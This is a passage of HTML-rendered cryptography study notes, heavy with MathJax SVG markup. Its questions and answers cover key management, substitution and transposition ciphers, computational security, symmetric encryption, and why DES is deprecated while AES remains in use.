677Q662 682 676 682Q680 682 711 681T791 680Q814 680 839 681T869 682Q889 682 889 672Q889 650 881 642Q878 637 862 637Q787 632 726 586Q710 576 656 534T556 455L509 418L518 396Q527 374 546 329T581 244Q656 67 661 61Q663 59 666 57Q680 47 717 46H738Q744 38 744 37T741 19Q737 6 731 0H720Q680 3 625 3Q503 3 488 0H478Q472 6 472 9T474 27Q478 40 480 43T491 46H494Q544 46 544 71Q544 75 517 141T485 216L427 354L359 301L291 248L268 155Q245 63 245 58Q245 51 253 49T303 46H334Q340 37 340 35Q340 19 333 5Q328 0 317 0Q314 0 280 1T180 2Q118 2 85 2T49 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q147 65 216 339T285 628Z"></path><path stroke-width="0" id="E56-MJMAIN-2192" d="M56 237T56 250T70 270H835Q719 357 692 493Q692 494 692 496T691 499Q691 511 708 511H711Q720 511 723 510T729 506T732 497T735 481T743 456Q765 389 816 336T935 261Q944 258 944 250Q944 244 939 241T915 231T877 212Q836 186 806 152T761 85T740 35T732 4Q730 -6 727 -8T711 -11Q691 -11 691 0Q691 7 696 25Q728 151 835 230H70Q56 237 56 250Z"></path><path stroke-width="0" id="E56-MJMATHI-4D" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E56-MJMATHI-44" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E56-MJMAIN-3A" x="1105" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E56-MJMATHI-43" x="1661" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E56-MJMAIN-D7" x="2643" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E56-MJMATHI-4B" x="3644" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E56-MJMAIN-2192" x="4810" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E56-MJMATHI-4D" x="6088" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-56">D: C \times K \to M</script></p></li></ul></blockquote></li><li><p>Define the concept of "Key management" and explain why is crucial for cryptography and give some examples</p><blockquote><p>Key Management is the process of managing our <strong>keys</strong> during their lifetime: creation, storage, distribution, destruction. Key are the input to a cryptographic algorithm used to obtain <strong>Confidentiality</strong>, <strong>Integrity</strong> and <strong>Authenticity </strong> over some data.</p><p>Following the <strong>Kerckhoffs' Principle</strong>, the security of a cryptosystem should depend on the secrecy of the key, not the secrecy of the used algorithm. This means we need to secure our key so nobody can use them if not authorized.</p><p>For example, keys should be securely stored: we can rely on access control mechanism to protect them or dedicated hardware components</p><p>For example, keys should be shared through a secure channel to avoid malicious interception. This problem is solved using asymmetric encryption techniques</p></blockquote></li><li><p>What are substitution and transposition ciphers? Give also examples </p><blockquote><p><strong>Substitution and transposition cipher</strong> are two main techniques to obtain a ciphertext from a plaintext (and viceversa) having a Key in a cryptosystem.</p><p><strong>Substitution Cipher</strong>: Every unit of our ciphertext is obtained from plaintext by replacing with another unit.</p><p>An example: <strong>Caesar Cipher</strong>, called <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-57-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="5.979ex" height="2.322ex" viewBox="0 -776.4 2574.4 999.7" role="img" focusable="false" style="vertical-align: -0.519ex;"><defs><path stroke-width="0" id="E57-MJMATHI-52" d="M230 637Q203 637 198 638T193 649Q193 676 204 682Q206 683 378 683Q550 682 564 680Q620 672 658 652T712 606T733 563T739 529Q739 484 710 445T643 385T576 351T538 338L545 333Q612 295 612 223Q612 212 607 162T602 80V71Q602 53 603 43T614 25T640 16Q668 16 686 38T712 85Q717 99 720 102T735 105Q755 105 755 93Q755 75 731 36Q693 -21 641 -21H632Q571 -21 531 4T487 82Q487 109 502 166T517 239Q517 290 474 313Q459 320 449 321T378 323H309L277 193Q244 61 244 59Q244 55 245 54T252 50T269 48T302 46H333Q339 38 339 37T336 19Q332 6 326 0H311Q275 2 180 2Q146 2 117 2T71 2T50 1Q33 1 33 10Q33 12 36 24Q41 43 46 45Q50 46 61 46H67Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628Q287 635 230 637ZM630 554Q630 586 609 608T523 636Q521 636 500 636T462 637H440Q393 637 386 627Q385 624 352 494T319 361Q319 360 388 360Q466 361 492 367Q556 377 592 426Q608 449 619 486T630 554Z"></path><path stroke-width="0" id="E57-MJMATHI-4F" d="M740 435Q740 320 676 213T511 42T304 -22Q207 -22 138 35T51 201Q50 209 50 244Q50 346 98 438T227 601Q351 704 476 704Q514 704 524 703Q621 689 680 617T740 435ZM637 476Q637 565 591 615T476 665Q396 665 322 605Q242 542 200 428T157 216Q157 126 200 73T314 19Q404 19 485 98T608 313Q637 408 637 476Z"></path><path stroke-width="0" id="E57-MJMATHI-54" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path><path stroke-width="0" id="E57-MJMATHI-6B" d="M121 647Q121 657 125 670T137 683Q138 683 209 688T282 694Q294 694 294 686Q294 679 244 477Q194 279 194 272Q213 282 223 291Q247 309 292 354T362 415Q402 442 438 442Q468 442 485 423T503 369Q503 344 496 327T477 302T456 291T438 288Q418 288 406 299T394 328Q394 353 410 369T442 390L458 393Q446 405 434 405H430Q398 402 367 380T294 316T228 255Q230 254 243 252T267 246T293 238T320 224T342 206T359 180T365 147Q365 130 360 106T354 66Q354 26 381 26Q429 26 459 145Q461 153 479 153H483Q499 153 499 144Q499 139 496 130Q455 -11 378 -11Q333 -11 305 15T277 90Q277 108 280 121T283 145Q283 167 269 183T234 206T200 217T182 220H180Q168 178 159 139T145 81T136 44T129 20T122 7T111 -2Q98 -11 83 -11Q66 -11 57 -1T48 16Q48 26 85 176T158 471L195 616Q196 629 188 632T149 637H144Q134 637 131 637T124 640T121 647Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E57-MJMATHI-52" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E57-MJMATHI-4F" x="759" y="0"></use><g transform="translate(1522,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E57-MJMATHI-54" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E57-MJMATHI-6B" x="825" y="-213"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-57">ROT_k</script>, shift to right of <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-126-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.21ex" height="2.065ex" viewBox="0 -776.4 521 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E126-MJMATHI-6B" d="M121 647Q121 657 125 670T137 683Q138 683 209 688T282 694Q294 694 294 686Q294 679 244 477Q194 279 194 272Q213 282 223 291Q247 309 292 354T362 415Q402 442 438 442Q468 442 485 423T503 369Q503 344 496 327T477 302T456 291T438 288Q418 288 406 299T394 328Q394 353 410 369T442 390L458 393Q446 405 434 405H430Q398 402 367 380T294 316T228 255Q230 254 243 252T267 246T293 238T320 224T342 206T359 180T365 147Q365 130 360 106T354 66Q354 26 381 26Q429 26 459 145Q461 153 479 153H483Q499 153 499 144Q499 139 496 130Q455 -11 378 -11Q333 -11 305 15T277 90Q277 108 280 121T283 145Q283 167 269 183T234 206T200 217T182 220H180Q168 178 159 139T145 81T136 44T129 20T122 7T111 -2Q98 -11 83 -11Q66 -11 57 -1T48 16Q48 26 85 176T158 471L195 616Q196 629 188 632T149 637H144Q134 637 131 637T124 640T121 647Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E126-MJMATHI-6B" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-126">k</script> positions all the alphabet, leading to another new alphabet.</p><p><strong>Transposition Cipher:</strong> Ciphertext is obtained from plaintext by making permutation of every unit.</p><p>An example: <strong>Columnar Cipher</strong> arranges letters writing them in a column of fixed length and swapping them using a keyphrase.</p></blockquote></li><li><p>What does it mean for a cryptographic technique to be computationally secure? </p><blockquote><p>A cryptographic technique is <strong>computationally secure</strong> if and only if:</p><ul><li>The <strong>time</strong> of breaking it <strong>exceeds</strong> the <strong>useful lifetime</strong> of the information;</li><li>The <strong>cost</strong> of breaking it <strong>exceeds</strong> the <strong>value</strong> of the information.</li></ul></blockquote></li><li><p>Define the concept of “Symmetric key cryptography”</p><blockquote><p>Symmetric Key Cryptography is a cryptosystem where:</p><ul><li>The <strong>key</strong> is distributed to all whom it may concern;</li><li>We have only a <strong>single key</strong> to Encrypt and Decrypt.</li><li><strong>Key</strong> management determines who can access the data.</li></ul><p>Encryption:</p><p><span> </span><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-59-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="13.983ex" height="2.707ex" viewBox="0 -831.8 6020.2 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E59-MJMATHI-45" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H757Q764 676 764 669Q764 664 751 557T737 447Q735 440 717 440H705Q698 445 698 453L701 476Q704 500 704 528Q704 558 697 578T678 609T643 625T596 632T532 634H485Q397 633 392 631Q388 629 386 622Q385 619 355 499T324 377Q347 376 372 376H398Q464 376 489 391T534 472Q538 488 540 490T557 493Q562 493 565 493T570 492T572 491T574 487T577 483L544 351Q511 218 508 216Q505 213 492 213Z"></path><path stroke-width="0" id="E59-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path><path stroke-width="0" id="E59-MJMATHI-4B" d="M285 628Q285 635 228 637Q205 637 198 638T191 647Q191 649 193 661Q199 681 203 682Q205 683 214 683H219Q260 681 355 681Q389 681 418 681T463 682T483 682Q500 682 500 674Q500 669 497 660Q496 658 496 654T495 648T493 644T490 641T486 639T479 638T470 637T456 637Q416 636 405 634T387 623L306 305Q307 305 490 449T678 597Q692 611 692 620Q692 635 667 637Q651 637 651 648Q651 650 654 662T659 677Q662 682 676 682Q680 682 711 681T791 680Q814 680 839 681T869 682Q889 682 889 672Q889 650 881 642Q878 637 862 637Q787 632 726 586Q710 576 656 534T556 455L509 418L518 396Q527 374 546 329T581 244Q656 67 661 61Q663 59 666 57Q680 47 717 46H738Q744 38 744 37T741 19Q737 6 731 0H720Q680 3 625 3Q503 3 488 0H478Q472 6 472 9T474 27Q478 40 480 43T491 46H494Q544 46 544 71Q544 75 517 141T485 216L427 354L359 301L291 248L268 155Q245 63 245 58Q245 51 253 49T303 46H334Q340 37 340 35Q340 19 333 5Q328 0 317 0Q314 0 280 1T180 2Q118 2 85 2T49 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q147 65 216 339T285 628Z"></path><path stroke-width="0" id="E59-MJMAIN-2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path><path stroke-width="0" id="E59-MJMATHI-4D" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path><path stroke-width="0" id="E59-MJMAIN-29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path><path stroke-width="0" id="E59-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 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xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E59-MJMATHI-4B" x="1153" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E59-MJMAIN-2C" x="2042" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E59-MJMATHI-4D" x="2486" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E59-MJMAIN-29" x="3537" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E59-MJMAIN-3D" x="4204" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E59-MJMATHI-43" x="5260" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-59">E(K,M) = C</script></p><p>Decryption:</p><p><span> </span><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-60-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="14.131ex" height="2.707ex" viewBox="0 -831.8 6084.2 1165.7" role="img" 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id="E60-MJMAIN-2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path><path stroke-width="0" id="E60-MJMATHI-43" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q484 659 454 652T382 628T299 572T226 479Q194 422 175 346T156 222Q156 108 232 58Q280 24 350 24Q441 24 512 92T606 240Q610 253 612 255T628 257Q648 257 648 248Q648 243 647 239Q618 132 523 55T319 -22Q206 -22 128 53T50 252Z"></path><path stroke-width="0" id="E60-MJMAIN-29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 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742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMATHI-44" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMAIN-28" x="828" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMATHI-4B" x="1217" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMAIN-2C" x="2106" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMATHI-43" x="2550" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMAIN-29" x="3310" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMAIN-3D" x="3977" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E60-MJMATHI-4D" x="5033" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-60">D(K,C)=M</script></p></blockquote></li><li><p>Why is DES deprecated? Why is AES still used?</p><blockquote><p><strong>DES</strong> is deprecated because it uses <strong>Feistel Algorithm</strong> with <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-66-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="2.323ex" height="2.065ex" viewBox="0 -776.4 1000 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E66-MJMAIN-35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path stroke-width="0" id="E66-MJMAIN-36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E66-MJMAIN-35"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E66-MJMAIN-36" x="500" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-66">56</script> bit key. This leads to <strong>low entropy</strong>, so it's easier to compute the key using brute force. </p><p><strong>AES</strong> is still used because it uses a stronger crypto scheme called Rijndael, with <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-62-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="5.936ex" height="2.322ex" viewBox="0 -776.4 2555.8 999.7" role="img" focusable="false" style="vertical-align: -0.519ex;"><defs><path stroke-width="0" id="E62-MJMAIN-2265" d="M83 616Q83 624 89 630T99 636Q107 636 253 568T543 431T687 361Q694 356 694 346T687 331Q685 329 395 192L107 56H101Q83 58 83 76Q83 77 83 79Q82 86 98 95Q117 105 248 167Q326 204 378 228L626 346L360 472Q291 505 200 548Q112 589 98 597T83 616ZM84 -118Q84 -108 99 -98H678Q694 -104 694 -118Q694 -130 679 -138H98Q84 -131 84 -118Z"></path><path stroke-width="0" id="E62-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E62-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path stroke-width="0" id="E62-MJMAIN-38" d="M70 417T70 494T124 618T248 666Q319 666 374 624T429 515Q429 485 418 459T392 417T361 389T335 371T324 363L338 354Q352 344 366 334T382 323Q457 264 457 174Q457 95 399 37T249 -22Q159 -22 101 29T43 155Q43 263 172 335L154 348Q133 361 127 368Q70 417 70 494ZM286 386L292 390Q298 394 301 396T311 403T323 413T334 425T345 438T355 454T364 471T369 491T371 513Q371 556 342 586T275 624Q268 625 242 625Q201 625 165 599T128 534Q128 511 141 492T167 463T217 431Q224 426 228 424L286 386ZM250 21Q308 21 350 55T392 137Q392 154 387 169T375 194T353 216T330 234T301 253T274 270Q260 279 244 289T218 306L210 311Q204 311 181 294T133 239T107 157Q107 98 150 60T250 21Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E62-MJMAIN-2265" x="0" y="0"></use><g transform="translate(1055,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E62-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E62-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E62-MJMAIN-38" x="1000" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-62">\ge 128</script> bit key size. (Generally speaking <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-63-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="12.517ex" height="2.45ex" viewBox="0 -776.4 5389.3 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E63-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E63-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 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666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path stroke-width="0" id="E63-MJMAIN-36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use 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xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E63-MJMAIN-36" x="1000" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-63">128,192,256</script> bits). </p><p>This leads to <strong>higher entropy</strong> of the <strong>keyspace</strong>, providing (using the weakest <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-64-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="3.484ex" height="2.065ex" viewBox="0 -776.4 1500 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E64-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E64-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path stroke-width="0" id="E64-MJMAIN-38" d="M70 417T70 494T124 618T248 666Q319 666 374 624T429 515Q429 485 418 459T392 417T361 389T335 371T324 363L338 354Q352 344 366 334T382 323Q457 264 457 174Q457 95 399 37T249 -22Q159 -22 101 29T43 155Q43 263 172 335L154 348Q133 361 127 368Q70 417 70 494ZM286 386L292 390Q298 394 301 396T311 403T323 413T334 425T345 438T355 454T364 471T369 491T371 513Q371 556 342 586T275 624Q268 625 242 625Q201 625 165 599T128 534Q128 511 141 492T167 463T217 431Q224 426 228 424L286 386ZM250 21Q308 21 350 55T392 137Q392 154 387 169T375 194T353 216T330 234T301 253T274 270Q260 279 244 289T218 306L210 311Q204 311 181 294T133 239T107 157Q107 98 150 60T250 21Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E64-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E64-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" 